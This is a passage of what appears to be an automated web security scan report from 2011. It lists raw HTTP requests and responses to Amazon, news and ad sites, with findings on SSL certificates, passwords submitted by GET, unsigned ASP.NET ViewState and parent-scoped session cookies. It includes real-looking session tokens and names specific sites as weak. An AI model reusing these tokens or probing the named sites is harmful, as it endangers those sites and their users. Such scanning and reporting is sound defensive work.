onclick="window.open('/gp/redirect.html/ref=cm_sw_cl_tw_dp_.HTpnb0BJD30K?token=7A1A4AE8F6CE0BD277D8295E58702D283F329C0F&location=http%3A%2F%2Ftwitter.com%2Fshare%3Foriginal_referer%3Dhttp%253A%252F%252Fwww.amazon.com%252Fgp%252Fproduct%252FB001AIM6V2%252Fref%253Dcm_sw_r_tw_dp_.HTpnb0BJD30K%26related%3Damazondeals%2Camazonmp3%26via%3Damazon%26text%3DCowboys%2520%2526%2520Indians%2520The%2520Premier%2520Magazine%2520of%2520the%2520West%252C%2520Annual%2520Holiday%2520Gift%2520Guide%2520...%26url%3Dhttp%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2FB001AIM6V2%2Fref%3Dcm_sw_r_tw_dp_.HTpnb0BJD30K%26count%3Dnone', '_blank', 'location=yes,width=700,height=400');return false;"><span class="tafSocialButton" style="background-position: -15px -1px; height: 15px; width: 15px;"> ...[SNIP]... <div class="content"> If you are a publisher or author and hold the digital rights to a book, you can sell a digital version of it in our Kindle Store. <a href="/gp/redirect.html/ref=dtp_dp_lm_B001AIM6V2/183-5857754-1541453?location=http://dtp.amazon.com/&token=ED7546842AF86000862C6B4CDB683D114A0EDF07">Learn more</a> ...[SNIP]... <li><a href="/gp/redirect.html/ref=gw_m_b_ir/183-5857754-1541453?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-irhome%26c%3D97664&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8">Investor Relations</a> ...[SNIP]... <li><a href="/gp/redirect.html/ref=gw_m_b_pr/183-5857754-1541453?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-mediaHome%26c%3D176060&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8">Press Releases</a> ...[SNIP]... <li><a href="/gp/redirect.html/183-5857754-1541453?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fsell-on-amazon.htm%3Fld%3DAZFSSOA&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8">Sell on Amazon</a> ...[SNIP]... <li><a href="/gp/redirect.html/183-5857754-1541453?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fproduct-ads-on-amazon.htm%3Fld%3DAZPADSFooter&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8">Advertise Your Products</a> ...[SNIP]...
GET /dp/B0037UT1LY HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:28 GMT Server: Server x-amz-id-1: 0AX624TG9G36KCASMW03 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: SKdNFc6SoUz62VgRyWT/5zZzRr16uXxYucSqwtyFd8UNcX2Q+8G5VWeik3qbT8iP Vary: Accept-Encoding,User-Agent Cneonction: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=176-7245636-0301444; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 438322
GET /gp/product/0596804946?ie=UTF8&tag=severdia-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596804946 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:19 GMT Server: Server x-amz-id-1: 1GMNYJAKA4TJD7BE20PT p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: rRZgZjI7evzN2uK+PGBNvEWrhG1Qajm2TBox690BsTrGBbLn0XvjcMMT1QA/Cp32 Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=177-3345764-3077262; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=1eR/Gb/7VAeIWvMabpkc9WVd0hSTZUbBg6Yo0T7TCpNQeuSuXtGxH2kY6bTAbin+sFXFOKV5+ocOk7K3+MvDkq0/b9bHz0ODJNpZCfzlXrKaMkf2mByUw4O7H6y0HxLzB0zDpXYjvDZIG9tAgupLtlSzvaVuVoeT9Dw57HxRkT1qFd69t1G9yhJCF1dMGn6BtkhaXaKQIwqLrzarx2jcK/uWu/DYGLfPjmFfwQeqDQqf1Pu2Z67u5nMckQSNU+AXG+4uuNDdjSW4U7/7jDdJMbrRu9ZM6nSR6im5LlC77EvTc5TQz8tq18VhoFQQ90njlOAwxtXq+PDB/vmIDD+i66lzV9/NoXGIbcoNaqBVAhvyZOIdxNL/NLFlkx8w8BdoJeoQup2Vg9OErw1DYhMF9610T7Jg13XTgsW4sfARA2h+TBwY5xsP9yVw1aDK1Hh6; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:19 2011 GMT Content-Length: 407243
GET /gp/site-directory/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:29 GMT Server: Server x-amz-id-1: 040X2S941YQ8YM9GDF3Y p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: sl07PFCJKDLvXHwNIxyGk0Yh+o6P2TnOLpehS7jphg0PPwo4AItme2BkehKpR0Nz Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=192-0833084-3663062; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 106589
GET /links/add.html?url={u}&title={t} HTTP/1.1 Host: www.dzone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /fplayer/ HTTP/1.1 Host: www.metacafe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI CUR ADM OUR NOR STA NID" Content-Type: text/html Date: Tue, 25 Jan 2011 04:45:05 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: PHPSESSID=37405ae87945ce0d058ea5e18b5a73df; path=/; domain=.metacafe.com Set-Cookie: OAGEO=US%7CTX%7CDallas%7C75207%7C32.7825%7C-96.8207%7C623%7C214%7C%7C%7C; path=/; domain=.metacafe.com Set-Cookie: OAID=f488ed4f4e9ec6a273b4b088e853dd33; expires=Wed, 25-Jan-2012 04:45:05 GMT; path=/; domain=.metacafe.com Set-Cookie: User=%7B%22sc%22%3A1%2C%22visitID%22%3A%225ff37793909b485fc44ca3c3af4425f7%22%2C%22LEID%22%3A15%2C%22LangID%22%3A%22en%22%2C%22npUserLocations%22%3A%5B244%5D%2C%22npUserLanguages%22%3A%5B9%5D%2C%22pve%22%3A1%7D; expires=Sun, 24-Jan-2016 04:45:05 GMT; path=/; domain=.metacafe.com Set-Cookie: dsavip=3400536236.20480.0000; expires=Tue, 25-Jan-2011 05:45:05 GMT; path=/ Content-Length: 160213
GET /passvote.action HTTP/1.1 Host: www.mindbodygreen.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html Content-Language: en-US Date: Tue, 25 Jan 2011 04:45:36 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
GET /community/blog/ebay-use-joomla-open-source-glue HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /news/2010/100710-ebay-deploys-joomla-for-analytics.html HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Cneonction: close Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=300 Date: Tue, 25 Jan 2011 05:03:51 GMT Connection: close Connection: Transfer-Encoding Content-Length: 120158
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <h ...[SNIP]... </script> <script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=beebedc26d45cee0d855facb1672946527973cfd&callback=OPG.Demandbase.dbase_parse"></script> ...[SNIP]...
GET /promo.do HTTP/1.1 Host: www.officedepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: IBM_HTTP_Server Pragma: No-cache Cache-Control: no-cache,no-store,max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="ALL DEVa TAIa OUR BUS UNI NAV STA PRE" policyref="http://www.officedepot.com/w3c/p3p.xml" Content-Type: text/html; charset=UTF-8 Content-Language: en-US Date: Tue, 25 Jan 2011 05:04:07 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: JSESSIONID=00005yEwWrYJ3VxcYFAH_1ES2aP:13ddq0sic; Path=/ Set-Cookie: jsession_unique_id=1295931847463; Expires=Tue, 25 Jan 2011 06:34:07 GMT; Path=/ Set-Cookie: CU_BRAND=OD; Expires=Fri, 20 Jan 2012 05:04:07 GMT; Path=/ Set-Cookie: IBSD_LOCALE=en_US; Expires=Fri, 20 Jan 2012 05:04:07 GMT; Path=/ Set-Cookie: CID_CART_COOKIE=5yEwWrYJ3VxcYFAH_1ES2aP; Expires=Thu, 24 Feb 2011 05:04:07 GMT; Path=/ Set-Cookie: CID_CART_COOKIE=5yEwWrYJ3VxcYFAH_1ES2aP; Expires=Thu, 24 Feb 2011 05:04:07 GMT; Path=/ Set-Cookie: CID_CART_COOKIE=5yEwWrYJ3VxcYFAH_1ES2aP; Expires=Thu, 24 Feb 2011 05:04:07 GMT; Path=/ Set-Cookie: cae_browser=desktop; path=/; domain=.officedepot.com Content-Length: 73834
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /features/articles/holiday_helping/BO144709/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:48 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7042 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:54:20 GMT Content-Type: text/html; charset=ISO-8859-1 Content-Length: 15382 Via: 1.1 dfw107017 (MII-APC/1.6) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Holiday Helping - 2010 -- Matt Lorch</title> <meta name="publisher" content="New Eng ...[SNIP]... <p><a href="https://secure2.convio.net/pbwh/site/Ecommerce?store_id=2861&JServSessionIdr006=a3bz0okdo3.app1a" target="_blank">Order NEW 2010 recipes</a> ...[SNIP]...
GET /features/articles/holiday_helping/BO144727/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:42 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7046 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:54:18 GMT Content-Type: text/html; charset=ISO-8859-1 Content-Length: 15405 Via: 1.1 dfw107002 (MII-APC/1.6) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Holiday Helping - 2010 -- Larry Ridley</title> <meta name="publisher" content="New E ...[SNIP]... <p><a href="https://secure2.convio.net/pbwh/site/Ecommerce?store_id=2861&JServSessionIdr006=a3bz0okdo3.app1a" target="_blank">Order NEW 2010 recipes</a> ...[SNIP]...
GET /features/articles/holiday_helping/BO144733/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:40 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=2979 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 22:46:29 GMT Content-Type: text/html; charset=ISO-8859-1 Content-Length: 15401 Via: 1.1 dfw107022 (MII-APC/1.6) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Holiday Helping - 2010 -- Anne Allred</title> <meta name="publisher" content="New En ...[SNIP]... <p><a href="https://secure2.convio.net/pbwh/site/Ecommerce?store_id=2861&JServSessionIdr006=a3bz0okdo3.app1a" target="_blank">Order NEW 2010 recipes</a> ...[SNIP]...
10. SSL certificatepreviousnext There are 3 instances of this issue:
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.
The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passords into the URL increases the risk that they will be captured by an attacker.
Issue remediation
All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.
The page contains a form with the following action URL, which is submitted using the GET method:
http://www.americascupmedia.com/index.php
The form contains the following password field:
psw
Request
GET /index.php HTTP/1.1 Host: www.americascupmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:06:26 GMT Server: Apache Set-Cookie: PHPSESSID=69ffa747e74ec3fc598608ba70c8ece5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 63617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Americas Cup Media</ ...[SNIP]... <td colspan='2' class='typo_login' align='center'> <form name='identification' action='' method='get' enctype="multipart/form-data"><div id='tab_identite' style='display:none; '> ...[SNIP]... <input name="login" id='login' type="text" class="form" > psw <input name="psw" id='psw' type="password" class="form" > <input type="button" class="form" value="ok" name="submit" id='validezlogin' rel='The "Email" field is not adequately filled'> ...[SNIP]...
GET /news/2010/100710-ebay-deploys-joomla-for-analytics.html HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Cneonction: close Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=300 Date: Tue, 25 Jan 2011 05:03:51 GMT Connection: close Connection: Transfer-Encoding Content-Length: 120158
The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.
By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.
You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.
Issue remediation
There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.
GET / HTTP/1.1 Host: beta-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Date: Mon, 24 Jan 2011 22:30:13 GMT Content-Length: 1402 Connection: close Set-Cookie: A07L=CT; expires=Mon, 21-Feb-2011 22:30:13 GMT; path=/; domain=beta-ads.ace.advertising.com P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
GET / HTTP/1.1 Host: p.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 22:46:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1388
GET / HTTP/1.1 Host: r1.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 22:49:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1390
GET /landing/softwaretraining.aspx?AWKeyWord=Joomla!&CourseURL=http%3a%2f%2fwww.lynda.com%2fhome%2fViewCourses.aspx%3flpk0%3d370&Ptitle=Joomla+Tutorials+and+Training+Online&_kk=joomla%20course&_kt=546081e7-492f-4261-b08e-49b0a582fb58/ HTTP/1.1 Host: www.lynda.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /thread/whdh_tv_commuter_rail_service_updates_for_jan_24_22/ HTTP/1.1 Host: 7newsboston.disqus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: test=1; __utmz=130959497.1295906167.1.1.utmcsr=www1.whdh.com|utmccn=(referral)|utmcmd=referral|utmcct=/news/articles/local/12003359267921/commuter-rail-service-updates-for-jan-24/; __utma=130959497.687938179.1295906167.1295906167.1295906167.1; __utmc=130959497; __utmb=130959497.3.10.1295906167; __qca=P0-473502224-1295482487215;
Response
HTTP/1.1 302 FOUND Date: Mon, 24 Jan 2011 22:27:59 GMT Server: Apache/2.2.14 (Ubuntu) Vary: Cookie,Accept-Encoding p3p: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM" Set-Cookie: sessionid=fc05e21a91a616ef2d73501d05b7cdf8; Domain=.disqus.com; expires=Mon, 07-Feb-2011 22:27:59 GMT; Max-Age=1209600; Path=/ Location: http://7newsboston.disqus.com/ Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: news.cnet.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:25:29 GMT Via: HTTP/1.0 phx1-rb-frontend1-app6.cnet.com:8923 (cnwk.proxy.servlet.PathProxyServlet $Revision: 218012 $) Content-Language: en-US Expires: Tue, 25 Jan 2011 14:26:59 GMT Age: 30 Content-Type: text/html; charset=UTF-8 Set-Cookie: tempSessionId=Cg5gn00+3VmtwdbzK1U; domain=.cnet.com; path=/; expires=Fri, 22-Jan-2021 14:25:29 GMT Set-Cookie: arrowLat=1295965529634; domain=.cnet.com; path=/; expires=Wed, 25-Jan-2012 14:25:29 GMT Set-Cookie: arrowSpc=1; domain=.cnet.com; path=/; expires=Thu, 24-Feb-2011 14:25:29 GMT P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA" Cache-Control: max-age=120 Keep-Alive: timeout=15, max=932 Connection: Keep-Alive Content-Length: 84113
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;38657313&migRandom=2148129&migTrackFmtExt=client;io;ad;crtv HTTP/1.1 Host: t.mookie1.com Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 01:35:44 GMT Server: Apache/2.0.52 (Red Hat) Cache-Control: no-cache Pragma: no-cache P3P: CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: session=1295919344|1295919344; path=/; domain=.mookie1.com Content-Length: 35 Content-Type: image/gif
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:22 GMT Server: Server Set-Cookie: skin=noskin; path=/; domain=.amazon.com; expires=Tue, 25-Jan-2011 14:04:22 GMT x-amz-id-1: 0SBFNHA40PDAQCKXW60Q p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: qBgIWFuA2Wjoamon8NoAG9bdAoR3KqlibGyFaWE7CQvIKyPWqQkJunDX652P1Cp2 Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=183-0141411-2666057; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 141800
<html> <head>
<style type="text/css"><!--
BODY { font-family: verdana,arial,helvetica,sans-serif; font-size: x-small; background-color: #FF ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=191-9849773-1831958; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Kindle-Wireless-Reader-Wifi-Graphite/dp/B002Y27P3M/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:35 GMT Server: Server x-amz-id-1: 0FSERHCXPR6RX175GC9Y p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: kR10u+vmtmJMjH8b0QtzQOA7YFXccTCuWSFp6hNB3ud9u6GhHvfORZRd53Wds1YX Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=191-9849773-1831958; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 738612
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=187-6920967-0553225; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Kindle-Wireless-Reading-Device-Display/dp/B0015T963C/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
